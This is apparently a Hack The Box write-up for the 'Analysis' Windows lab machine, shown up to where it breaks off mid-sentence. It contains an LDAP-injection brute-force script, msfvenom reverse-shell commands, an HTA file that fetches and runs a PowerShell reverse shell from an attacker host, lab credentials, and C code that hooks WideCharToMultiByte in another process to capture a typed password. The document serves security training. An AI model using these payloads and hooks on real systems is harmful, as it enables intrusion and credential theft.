Download as pdf or txt
Download as pdf or txt
You are on page 1of 37

Analysis

29th May 2024 / Document No D24.100.283

Prepared By: xRogue

Machine Author: UVision

Difficulty: Hard

Classification: Official

Synopsis
Analysis is a hard-difficulty Windows machine, featuring various vulnerabilities, focused on web
applications, Active Directory (AD) privileges and process manipulation. Initially, an LDAP Injection
vulnerability provides us with credentials to authenticate on a protected web application. Through this
application, access to the local system is obtained by gaining command execution through an HTA file
upload. On the target system, credentials for another user are found in the web application's log files.
Subsequently, by implementing an API Hook on BCTextEncoder , an encrypted password is decrypted and
used to pivot to another user. Finally, by changing the password of an account that has DCSync rights
against the domain, administrative access to the domain controller is obtained.

Skills Required
Active Directory Enumeration and Exploitation

Windows System Understanding

API Hooking Techniques

Skills Learned
LDAP Injection

DLL Manipulation
Windows API Usage

Reverse Engineering

Process Inspection

Enumeration
Nmap
Starting off with an nmap scan:

ports=$(nmap -p- --min-rate=1000 -T4 10.129.222.83 | grep '^[0-9]' | cut -d '/' -f 1 | tr


'\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.222.83

Nmap scan report for 10.129.222.83

PORT STATE SERVICE VERSION


53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-05-25
14:24:54Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
analysis.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
analysis.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
33060/tcp open mysqlx?
<...SNIP...>
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
<...SNIP...>
51316/tcp open msrpc Microsoft Windows RPC
Judging from the ports that are open, we can be pretty sure that this is a Windows Domain Controller (DC).
The domain seems to be analysis.htb , which we add to our hosts file.

echo 10.129.222.83 analysis.htb | sudo tee -a /etc/hosts

We can also see that Message signing enabled and required on SMB. Port 80 is open, and is serving a
web application.

Web Application
Visiting port 80/TCP directly results in a NOT FOUND 404 error. If we browse to the analysis.htb domain
instead, we land on a website:

We are presented with a web application. From the response's headers, we can see that the application is
hosted on IIS/10.0 .

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 08 Jul 2023 09:20:59 GMT
Accept-Ranges: bytes
ETag: "ddc152827db1d91:0"
Server: Microsoft-IIS/10.0
Date: Sat, 25 May 2024 14:31:24 GMT
Content-Length: 17830
Playing with the links that the website offers doesn't lead to anything useful. All links return to #!/home . We
will attempt to enumerate more subdomains that are possibly live.

ffuf -u http://10.129.222.83 -H 'Host: FUZZ.analysis.htb' -w


/usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 178 -fl
364

/'___\ /'___\ /'___\


/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.129.222.83
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-110000.txt
:: Header : Host: FUZZ.analysis.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
:: Filter : Response lines: 364
________________________________________________

internal [Status: 403, Size: 1268, Words: 74, Lines: 30, Duration: 65ms]

The subdomain internal.analysis.htb exists, so we are going to add it to our /etc/hosts file and visit
it.

echo 10.129.222.83 internal.analysis.htb | sudo tee -a /etc/hosts

We are presented with a FORBIDDEN 403 message. Searching for other directories under
internal.analysis.htb reveals a few:
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/' -t 256 -f

_|. _ _ _ _ _ _|_ v0.4.3


(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 256 | Wordlist size:
1453396

Output File: /var/machines/for_writeups/reports/http_internal.analysis.htb/__24-05-25_07-


43-51.txt

Target: http://internal.analysis.htb/

[07:43:51] Starting:
[07:43:53] 301 - 170B - /users -> http://internal.analysis.htb/users/
[07:44:11] 301 - 174B - /dashboard -> http://internal.analysis.htb/dashboard/
[07:44:31] 301 - 174B - /employees -> http://internal.analysis.htb/employees/

The subdirectories /users , /dashboard and /employees are discovered. We narrow down the search by
scanning for other directories within these endpoints:

dashboard

dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/dashboard/' -t 256 -f

<...SNIP...>
[07:45:46] Starting: dashboard/
[07:45:47] 200 - 38B - /dashboard/index.php
[07:45:48] 301 - 178B - /dashboard/img -> http://internal.analysis.htb/dashboard/img/
[07:45:48] 301 - 182B - /dashboard/uploads ->
http://internal.analysis.htb/dashboard/uploads/
[07:45:49] 200 - 0B - /dashboard/upload.php
[07:45:50] 200 - 35B - /dashboard/details.php
[07:45:51] 301 - 178B - /dashboard/css -> http://internal.analysis.htb/dashboard/css/
[07:45:52] 301 - 178B - /dashboard/lib -> http://internal.analysis.htb/dashboard/lib/
[07:45:52] 200 - 35B - /dashboard/form.php
[07:45:54] 301 - 177B - /dashboard/js -> http://internal.analysis.htb/dashboard/js/
[07:45:55] 302 - 3B - /dashboard/logout.php -> ../employees/login.php
[07:45:58] 200 - 13KB - /dashboard/404.html
[07:46:03] 200 - 35B - /dashboard/tickets.php
[07:46:12] 200 - 35B - /dashboard/emergency.php

The discovery of /upload.php and /uploads implies some kind of file-upload functionality. Attempting to
reach any of those endpoints results in a 403 Access is Denied error, possibly due to the endpoints being
protected behind authentication, which is further supported by the discovery of the logout.php endpoint,
which highlights that there is some kind of login functionality.
employees

dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/employees/' -t 256 -f

<...SNIP...>
[07:56:55] Starting: employees/
[07:56:56] 200 - 1KB - /employees/login.php

The suspected login functionality is discovered in /employees/login.php .

Attempting common attacks that are relevant to login forms, such as SQL Injection or authentication
bypasses yields no results, so we can proceed with enumerating the /users endpoint for a possible attack
vector.

users
dirsearch -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-
2.3-medium.txt -u 'http://internal.analysis.htb/users/' -t 256 -f

<...SNIP...>
[08:03:09] Starting: users/
[08:03:12] 200 - 17B - /users/list.php

The only endpoint in the /users subdirectory seems to be list.php . Visiting the endpoint:
It seems that this endpoint does not require authentication, since we are greeted with the missing
parameter error, which indicates that it expects a parameter in the GET request in order to fetch some
data, or perform an action.

LDAP Injection
The first thing we want to do here is to enumerate which parameter is valid. Since we know that an invalid
parameter name will result in a 2-word response, we can use wfuzz to fuzz the parameter name with the
burp-parameter-names.txt wordlist from SecLists , and hide all results that return a 2-word response.

wfuzz -c -z file,/usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-
names.txt --hw 2 "http://internal.analysis.htb/users/list.php?FUZZ=test"

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://internal.analysis.htb/users/list.php?FUZZ=test
Total requests: 6453

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000003598: 200 0 L 11 W 406 Ch "name"

The parameter name returns an 11-word response.

http://internal.analysis.htb/users/list.php?name=test

Trying to perform SQL Injection on this parameter doesn't yield any results. However, trying special
characters against the parameter provides an intresting result.
We can see that the wildcard character * returns a different result, with the username and first name being
technician . The wildcard character is utilized in multiple protocols within their search filter. However, we
can assume what protocol is being used in this query by combining knowledge we have acquired so far:

The website is hosted on a Domain Controller. In addition, the fields of the table we are presented with are
common LDAP attributes. The wildcard character * is also utilized in LDAP search filters. Now, we can send
a test payload to test if we are actually engaging with an LDAP search query. We know that the First Name
of the technician user is technician . The First Name in LDAP is commonly stored in the givenName
attribute. If we wanted to construct an LDAP search filter to search for a user with a username and
givenName of technician , it would look like this:

(&(cn=technician)(givenName=technician))

We can assume that what we give in the name parameter corresponds to the cn attribute. Now, we do not
want to break the website's intended functionality, so the payload we need to send looks like this:

technician)(givenName=technician

The response we get indicates our suspicion is valid. On the other hand, if we send an invalid first name, like
test :

We get the response that is presented for invalid data, so we can be sure that what the application is
running is indeed an LDAP search query .

Sometimes, important information about an account is stored in the Description attribute of an LDAP
object. We can try to identify if the technician user has a description, by trying common characters against
the Description field, like so:

technician)(Description=a*

With this payload, if a given character is truly present in the Description field, we should see the expected
successful response, since we specify the wildcard character afterwards.
To test this out, we send the request to the Burp Suite Intruder , highlighting the letter a as the position
for the Sniper attack, adding all letters and numbers in the payload list and extracting the value between
the response's <strong></strong> tags, which will either contain CONTACT_ or technician , depending on
whether the character exists in the description field, or not.

After running Intruder , we see that the letter 9 must be the first letter in the Description field. In order
to enumerate the full Description attribute, we need to automate the process, since we have to go
through all lowercase and uppercase characters, letters and punctuation. Before we can automate the
process, we need to identify how to delimit the end of the string. While we are using the wildcard character
* to perform the brute force, we must account for the fact that that character itself could well be part of
the string.

Let's go back to the givenName attribute, whose value we know. If we send tech* as our payload:

http://internal.analysis.htb/users/list.php?name=technician)(givenName=tech*

We get the expected result. However, if we send tech** :

The query breaks since it violates LDAP syntax rules , and we get no results at all. So, what if the wildcard
character is part of the string? In our automation, we could add the * character even if the page breaks,
and set our delimiter to be the string ** . The reason for that is that if the Description attribute is fully
enumerated, it will reach the point of adding the * character to the end, then run again and add the *
character to the end again because it didn't find any other valid character.

The Python script we create looks like this:

import requests
import string

def find_next_char(target, name, payload):


for letter in string.ascii_lowercase:
payload = payload + letter
url = f'http://{target}/users/list.php?name={name})(description={payload}*'
r = requests.get(url, headers = {"Host": "internal.analysis.htb"})
if "CONTACT_" not in r.text:
return payload
else:
payload = payload[:-1]

for letter in string.ascii_uppercase:


payload = payload + letter
url = f'http://{target}/users/list.php?name={name})(description={payload}*'
r = requests.get(url, headers = {"Host": "internal.analysis.htb"})
if "CONTACT_" not in r.text:
return payload
else:
payload = payload[:-1]

for letter in string.digits:


payload = payload + letter
url = f'http://{target}/users/list.php?name={name})(description={payload}*'
r = requests.get(url, headers = {"Host": "internal.analysis.htb"})
if "CONTACT_" not in r.text:
return payload
else:
payload = payload[:-1]

for letter in string.punctuation:


if letter == "(" or letter == ")" or letter == "#" or letter == "&":
continue
payload = payload + letter
url = f'http://{target}/users/list.php?name={name})(description={payload}*'
r = requests.get(url, headers = {"Host": "internal.analysis.htb"})
if "CONTACT_" not in r.text:
return payload
else:
payload = payload[:-1]
return payload

description = '9'
while True:
description = find_next_char('analysis.htb', 'technician', description)
if description[-2:] == "**":
break

print('Description: ' + description[:-2])

We also exclude the ) and ( characters, since these would also break the query. Running the script:

python3 ldapinject.py

Description: 97NTtl*4QP96Bv
The result we get is a weird string. Since this looks like a password, we can attempt to log in through
employees/login.php , using the username technician@analysis.htb (since it is asking for an email) and
the password 97NTtl*4QP96Bv .

We get access to the dashboard as the user technician .

Foothold
Looking around, Dashboard seems like a static page. Tickets hosts some tickets presumably submitted by
domain users, some relating to security issues while others are general IT queries. Emergency hosts a
submission form, which doesn't seem to provide any meaningful results in order to enumerate further.

SOC Report looks like an interesting endpoint, that hosts a file upload form.

As the website states, any file we upload will be executed in a sandbox and analyzed by security analysts.
This is an interesting statement for us since it implies that we can achieve code execution through this
endpoint if what is stated is true. Let's start by creating the simplest of payloads - an executable from
msfvenom . We will be using the meterpreter payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.61 LPORT=4444 -f exe >


shell.exe
We get a strange result. Although the file is obviously not safe, the application responds with File is
safe ; we also get no connection back to our meterpreter listener. This indicates that maybe the file was
not run at all. Since this is a result we cannot extract some value from, we'll try to identify what else we
could try, since there are a lot of file formats that could provide us with code execution, if executed.

Looking again in the Tickets section, there is a ticket that describes some issues with HTA files.

HTA files, or HTML Applications, are programs designed for Microsoft Windows that combine HTML and
other scripting languages like JavaScript. They operate independently of a web browser's security model,
running with full trust and using the ".hta" extension. These files use HTML for the user interface and can
incorporate additional scripting for program logic, blending web technology features with application-level
capabilities.

It seems that for some reason, users in the organization are using HTA files which sometimes cause security
errors to pop up. We could try to upload an HTA file generated with msfvenom , to see if we can get any
different results.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.61 LPORT=4444 -f hta-psh >


shell.hta
This time, the application responds with File is not safe. , but again, we do not get a reply back to our
listener. Since hta files seem to be handled differently, we will try to upload a custom hta reverse shell in
order to see if we can bypass any security limitations and achieve code execution with an hta file. This
custom hta file will download a PowerShell script that will contain the reverse shell, to see if the hta file is
executed, since we will be able to see the request to our web server.

shell.hta

<!DOCTYPE html>
<html>
<body>
<script type="text/vbscript">
Sub Window_OnLoad
Dim xhr
Dim shell
Dim stream
Dim psScriptPath

psScriptUrl = "http://10.10.14.61:8081/shell.ps1"
psScriptPath = "C:\\Windows\Temp\shell.ps1"

Set xhr = CreateObject("MSXML2.XMLHTTP")


Set shell = CreateObject("WScript.Shell")
Set stream = CreateObject("ADODB.Stream")

xhr.Open "GET", psScriptUrl, False


xhr.Send

If xhr.Status = 200 Then


stream.Open
stream.Type = 1 ' Binary
stream.Write xhr.ResponseBody
stream.SaveToFile psScriptPath, 2 ' Overwrite
stream.Close
shell.Run "powershell -ExecutionPolicy Bypass -File " & psScriptPath, 0,
False
End If

Set stream = Nothing


Set shell = Nothing
Set xhr = Nothing
self.close
End Sub
</script>
</body>
</html>

shell.ps1

$remote_host = '10.10.14.61'
$remote_port = 4444

$client = New-Object System.Net.Sockets.TCPClient($remote_host, $remote_port)


$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)

$prompt = "$(Get-Location)> "


$writer.Write($prompt)
$writer.Flush()

while ($client.Connected) {
try {
$buffer = New-Object Byte[] 1024
$read = 0
$output = ""

while ($stream.DataAvailable -and ($read = $stream.Read($buffer, 0, 1024))) {


$output += [System.Text.Encoding]::ASCII.GetString($buffer, 0, $read)
}
if ($output -ne "") {
$result = (Invoke-Expression $output 2>&1 | Out-String)
$writer.WriteLine($result)
$prompt = "$(Get-Location)> "
$writer.Write($prompt)
$writer.Flush()
}
} catch {
$writer.WriteLine($_.Exception.Message)
$writer.Flush()
}
Start-Sleep -Milliseconds 500
}

$writer.Close()
$stream.Close()
$client.Close()
In one window we start a Netcat listener to catch the reverse shell:

nc -lvnp 4444

In another, we start a web server on port 8081 so that our script can be downloaded.

python3 -m http.server 8081

Finally, we upload the hta file. A few seconds later, we see that it is executed and we get a reverse shell as
the user analysis\svc_web .

nc -lvnp 4444

listening on [any] 4444 ...


connect to [10.10.14.61] from (UNKNOWN) [10.129.222.83] 50262
C:\inetpub\internal\dashboard> whoami
analysis\svc_web

Lateral Movement
From svc_web to jdoe
Since the web application runs as this user, we can proceed to enumerate the inetpub directory for
potentially useful information.

Reading the website logs in C:\inetpub\logs\LogFiles\W3SVC2 :

An interesting GET request can be found, which holds possible credentials for the jdoe user. Enumerating
the local Remote Management Users group, we can see jdoe can access this computer through Windows
WinRM .

net user jdoe

The machine's language is French - we see the group that starts with "Utilisateurs de gesti", which is
the remote management users group.
If we attempt to evil-winrm with the creds we retrieved:

evil-winrm -u jdoe -p '7y4Z4^*y9Zzj' -i analysis.htb

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint


*Evil-WinRM* PS C:\Users\jdoe\Documents> whoami
analysis\jdoe

We gain access as the jdoe user. The user flag can be found at C:\Users\jdoe\Desktop\user.txt .

From jdoe to wsmith


At this point, we opt to run BloodHound , in order to identify potential privilege escalation vectors, and to
have a general idea of the environment we find ourselves in. We enumerate the domain remotely, using
bloodhound-python :

bloodhound-python -c All -d analysis.htb -u jdoe -p '7y4Z4^*y9Zzj' -ns 10.129.230.179 --


zip

INFO: Found AD domain: analysis.htb


INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc-analysis.analysis.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc-analysis.analysis.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 15 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC-ANALYSIS.analysis.htb
WARNING: Failed to get service ticket for DC-ANALYSIS.analysis.htb, falling back to NTLM
auth
CRITICAL: CCache file is not found. Skipping...
WARNING: DCE/RPC connection failed: [Errno Connection error (dc-analysis.analysis.htb:88)]
[Errno -5] No address associated with hostname
INFO: Done in 00M 13S
INFO: Compressing output into 20240527035023_bloodhound.zip

We load the zip file into BloodHound and start by looking at the Shortest Paths to Domain Admins
default query, which reveals something interesting.

There seems to be a path starting from the user wsmith . The user has an object control on the user
SOC_analyst , who in turn has GenericAll on the Domain Admins group.

Let's investigate the relationship of these two further.


We see that the user wsmith can reset the password of the user SOC_analyst .

We then take a look at SOC_analyst 's capabilities, who can perform DCSync :

That means that our primary targets are the principals wsmith and SOC_analyst , since compromising
either of them would provide us with administrative access to the domain controller.

Further enumeration on the machine reveals that there is an unusual directory in C:\ , namely
C:\private .
*Evil-WinRM* PS C:\> cd C:\private
*Evil-WinRM* PS C:\private> dir

Directory: C:\private

Mode LastWriteTime Length Name


---- ------------- ------ ----
-a---- 5/26/2023 9:44 AM 576 encoded.txt

Inside it, there is a file called encoded.txt .

*Evil-WinRM* PS C:\private> type encoded.txt

-----BEGIN ENCODED MESSAGE-----


Version: BCTextEncoder Utility v. 1.03.2.1

wy4ECQMCq0jPQTxt+3BgTzQTBPQFbt5KnV7LgBq6vcKWtbdKAf59hbw0KGN9lBIK
0kcBSYXfHU2s7xsWA3pCtjthI0lge3SyLOMw9T81CPqT3HOIKkh3SVcO9jdrxfwu
pHnjX+5HyybuBwIQwGprgyWdGnyv3mfcQQ==
=a7bc
-----END ENCODED MESSAGE-----

The file looks like it is generated from BCTextEnconder , a text encryption utility software. If we check the
running processes on the machine, we can see that BCTextEncoder.exe is still running.

Get-Process

This may be an indicator that the user running the application may attempt to perform another action
through BCTextEncoder , which may be beneficial for us if we can find a way to intercept what the user is
typing. We will download BCTextEncoder on our local Windows VM in order to analyze it further.
Reverse Engineering BCTextEncoder
Since the goal here is to intercept possible password submission by the user, we can use a tool like
ApiMonitor to check how a submitted password is handled by the application on the API level.

We submit the password testtest during the encoding process and search for that string on API
Monitor :

We can see that the application uses the WideCharToMultiByte() function to map the submitted password
to a new character string. At this point, we can use a technique called API Hooking . What we will essentially
try to do, is to create a function that we will hook to the WideCharToMultiByte function, in order to
intercept the submitted password.

Initial Analysis
A more specific term for what we are trying to achieve is Remote Process Hooking . We want to inject our
function, commonly via a DLL file, into the remote process, and then overwrite the first bytes of the
WideCharToMultiByte function to a jmp instruction that will perform an unconditional jump that will
transfer the flow of execution to our malicious function.

Let's load BCTextEncoder into WinDbg to see what it looks like. If we open BCTextEncoder directly through
WinDbg , we will see that we do not actually interact with the binary; the executable we downloaded seems
to extract the actual executable and run it.

Process Hacker shows the following:

We can see that two TextEncode.exe processes are spawned under the parent executable. In order to
determine which one of them is the one that actually corresponds to the application, we can monitor both
on API Hacker while performing some actions within the application. The one that will show APIs being
called is the process we want. In doing so, we observe that our intended target is the child of
`TextEncode.exe, in this case, process ID 7488.

We will then go to WinDbg and instead of launching the executable from there, we will attach to the
identified process to perform further actions. Now, in WinDbg , we want to see what the
WideCharToMultiByte function looks like. We will first identify the address of the function, and then read
the assembly that corresponds to this address. We know that WideCharToMultiByte is part of
kernel32.dll , per Microsoft documentation.

If we try to find WideCharToMultiByte directly, we can see that it cannot find the address of the function.

In this case, we can use the * character to see if any function corresponds to the WideChar string.
We are presented with a Stub function. System DLLs often use stub functions as part of their internal
implementation. Stub functions are intermediary functions that serve as placeholders or forwarders to the
actual implementation.

We disassemble the WideCharToMultiByteStub function:

An unconditional jmp can be observed, which redirects the flow of execution to an Import Address Table
(IAT) entry called _imp__WideCharToMultiByte . The IAT holds the addresses of functions imported from
DLLs. When a process is loaded, the Windows loader resolves these entries to point to the actual address of
the functions. When a function like WideCharToMultiByte is called, the call goes through the IAT entry. If
we read the memory in the address of the _imp__WideCharToMultiByte IAT entry, we can retrieve the
actual address of the function.

Our objective is to manipulate the execution flow of the WideCharToMultiByte function. To achieve this, we
plan to replace the first instruction with an unconditional jump ( jmp ), effectively redirecting the execution
to our hook. After achieving our manipulation, we'll restore the original instructions to ensure the program
continues to operate seamlessly, as if no changes had occurred.

We've chosen to work with the WideCharToMultiByteStub function found in kernel32.dll because it's
more accessible and behaves as the initial point of interaction when this function is called. This stub
function accepts the same arguments as WideCharToMultiByte , which aligns with Microsoft's
recommended usage pattern.

For the technical execution, we aim to insert a relative jmp that occupies 5 bytes—1 byte for the opcode
( E9 ) and 4 bytes for the relative address. This modification will be placed at the start of
WideCharToMultiByte , allowing us to redirect control to our desired location.

Practically, what we want to do is to replace this portion:


mov edi,edi
push ebp
mov ebp,esp

With:

jmp <offset>

The offset will be the distance between the address of WideCharToMultiByte and our hooked function in
memory. We will also implement a method in our DLL to store the original first 5 bytes of
WideCharToMultiByte in order to restore them after our hooked function finishes execution, in order for
the application to continue its operations normally.

Retrieving the Address of WideCharToMultiByte


The first step in patching the application is to locate the address of WideCharToMultiByte in memory. It is
important at this point to present a high-level overview of how memory and address spaces work in the
context of Windows processes.

Each Windows process operates within its own virtual address space, meaning the addresses within one
process do not correlate directly with those in another process. For instance, the same virtual address in
different processes may correspond to different physical addresses.

When a DLL like kernel32.dll is loaded into a process, it's mapped into that process's virtual address
space. This means that while the virtual address of WideCharToMultiByte might be the same in both
processes, they point to separate copies of the code and data in each process's virtual memory.

The physical memory where the DLL resides can be shared between processes. However, each process has
its own set of page tables that map virtual addresses to physical addresses. When we modify the bytes at a
specific virtual address in one process, we are modifying the memory for that process only.

The physical pages containing the DLL code might be shared among processes. The operating system uses
a mechanism called Copy-On-Write (COW) to manage modifications. If a process tries to modify a shared
page, the operating system creates a private copy of that page for the process, so the changes do not affect
other processes. When we overwrite the bytes at a specific virtual address in one process, the operating
system ensures that this change does not affect the same address in another process. This is achieved
through the COW mechanism.

What does this mean for us? Basically, if we want to locate the address of WideCharToMultiByte in the
virtual memory of our target process, we can simply load WideCharToMultiByte from kernel32.dll inside
our patching application and retrieve the address from our own process. The address will be the same
address in the target process.

For this purpose, we create a new C project (i.e. in Visual Studio , or any preferred IDE or editor). The
very first step is to load WideCharToMultiByte in our patching application and retrieve the address of the
function inside the virtual memory. This is done in the following function:

FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;
hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}

WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");


if(WCTMBAddress == NULL) {
printf("[X] Failed to retrieve WideCharToMultiByte address");
exit(-1);
}
return WCTMBAddress;
}

We use GetModuleHandleA to obtain a handle to the already loaded kernel32.dll and GetProcAddress
to retrieve the address of WideCharToMultiByte . If successful, this address will match what we see in tools
like WinDbg . To run the function we need to include a few headers and also define a main function; the full
program looks like this:

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <stdint.h>

FARPROC WCTMBAddress;
DWORD textEncodeProcessId;
HANDLE textEncodeProcess;
FARPROC HWCTMBAddress;

FARPROC GetWCTMBAddress () {
HMODULE hKernel32;
FARPROC WCTMBAddress;

hKernel32 = GetModuleHandleA("kernel32.dll");
if(hKernel32 == NULL) {
printf("[X] Failed to load kernel32.dll");
exit(-1);
}

WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");


if(WCTMBAddress == NULL) {
printf("[X] Failed to retrieve WideCharToMultiByte address");
exit(-1);
}
return WCTMBAddress;
}

int main() {
printf("[-] Getting address of WideCharToMultiByte in memory.\n");
WCTMBAddress = GetWCTMBAddress();
printf("[+] Address of WideCharToMultiByte: %p\n", WCTMBAddress);

return 0;
}

We compile and run it:

.\patch.exe

[-] Getting address of WideCharToMultiByte in memory.


Address of WideCharToMultiByte: 7628E290

It is the same address as we saw before in WinDbg for WideCharToMultiByteStub .

Retrieve Process ID for TextEncode.exe


This part of our walkthrough addresses a slightly complex scenario where two instances of
TextEncode.exe are running, but we need to specifically identify the process ID of the instance that is a
child of the other TextEncode.exe . Here's how we do it:

We will loop through all processes, identify those named TextEncode.exe , and then check if their parent is
also named TextEncode.exe . If this condition is met, we return the child's process ID.

DWORD GetTextEncodeProcessId () {
const char* processName = "TextEncode.exe";
DWORD targetProcessId = 0;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot, &pe32)) {
do {
if(strcmp(pe32.szExeFile, processName) == 0) {
HANDLE hSnapshot2 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32Parent;
pe32Parent.dwSize = sizeof(PROCESSENTRY32);

if(Process32First(hSnapshot2, &pe32Parent)) {
do {
if(pe32.th32ParentProcessID == pe32Parent.th32ProcessID &&
strcmp(pe32Parent.szExeFile, processName) == 0) {
targetProcessId = pe32.th32ProcessID;
break;
}
} while(Process32Next(hSnapshot2, &pe32Parent));
}
CloseHandle(hSnapshot2);
if(targetProcessId != 0) {
break;
}
}
} while(Process32Next(hSnapshot, &pe32));
}

CloseHandle(hSnapshot);

if(targetProcessId == 0) {
printf("[X] Failed to retrieve TextEncode.exe process ID.\n");
exit(-1);
}

return targetProcessId;
}

Note: The full source code for patch.exe is attached at the end of this section.

Using the Tool help Library, we take a snapshot of all currently running processes. We then search for
TextEncode.exe . Upon finding an instance, we take another snapshot to check for its parent. If a parent
with the same name and process ID is found, we confirm it as the target.

.\patch.exe

[-] Getting address of WideCharToMultiByte in memory.


[+] Address of WideCharToMultiByte: 7628E290
[-] Retrieving process ID of TextEncode.exe.
[+] Target process ID: 7488

We can see that the process ID matches the one observed in Process Hacker .

Preparing our DLL


Now, we proceed to create the DLL that we plan to inject into the remote process - the one containing our
hooked function. First, we have to ensure that when the DLL attaches to the process, we are going to save
the original first 5 bytes of WideCharToMultiByte in order to restore them later. This is essential because
once we modify these bytes, the virtual memory of the TextEncode.exe process will reflect our changes
instead of the original bytes. If we attempt to capture the first 5 bytes after the modification, we would only
retrieve the altered bytes, thus creating an infinite loop of redirections to our hooked function.

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {


switch(fdwReason) {
case DLL_PROCESS_ATTACH:
hKernel32 = GetModuleHandleA("kernel32.dll");
WCTMBAddress = GetProcAddress(hKernel32, "WideCharToMultiByte");
memcpy(oldBytes, WCTMBAddress, 5);
break;
}
return TRUE;
}
Now, the original 5 bytes of WideCharToMultiByte are stored in the variable oldBytes , for later use.
Before we proceed with the hooked function's logic, we will also copy the previously-showcased
GetTextEncodeProcessId function into the DLL, since we will need to retrieve the remote process ID again,
in order to restore the original bytes later.

Now, we proceed with our exported function definition. We basically need to initiate the function with the
same arguments as WideCharToMultiByte 's arguments, since we need to retrieve the string that we want
to intercept, but also call the original WideCharToMultiByte afterwards.

__declspec(dllexport) void HookedWideCharToMultiByte(UINT CodePage, DWORD dwFlags, LPCWSTR


lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH
lpDefaultChar, LPBOOL lpUsedDefaultChar)

Note: The original function's signature can be found here.

Next, inside the function's body, we can define what we want to do. Since we want to retrieve the password,
we opt to write the contents of lpWideCharStr to a file, since this argument contains the UTF-16 value that
is passed to the function, as per the official documentation.

FILE *file = _wfopen(L"C:\\Users\\rogue\\Desktop\\password.txt", L"a+");


fwprintf(file, L"%.*s", cchWideChar, lpWideCharStr);
fclose(file);

Finally, we have to implement the restoration of the original bytes to WideCharToMultiByte function.

SIZE_T written;
DWORD textEncodeProcessId = GetTextEncodeProcessId();
HANDLE textEncodeProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, textEncodeProcessId);

WriteProcessMemory(textEncodeProcess, WCTMBAddress, oldBytes, sizeof(oldBytes), &written);


WideCharToMultiByte(CodePage, dwFlags, lpWideCharStr, cchWideChar, lpMultiByteStr,
cbMultiByte, lpDefaultChar, lpUsedDefaultChar);

return;

We first get the process ID of TextEncode.exe , then get a handle to the process with all the necessary flags
(some of the flags may not be entirely needed, but this is the basic format to ensure we have everything we
need to write in memory). Then, we write the original bytes to the address of WideCharToMultiByte in the
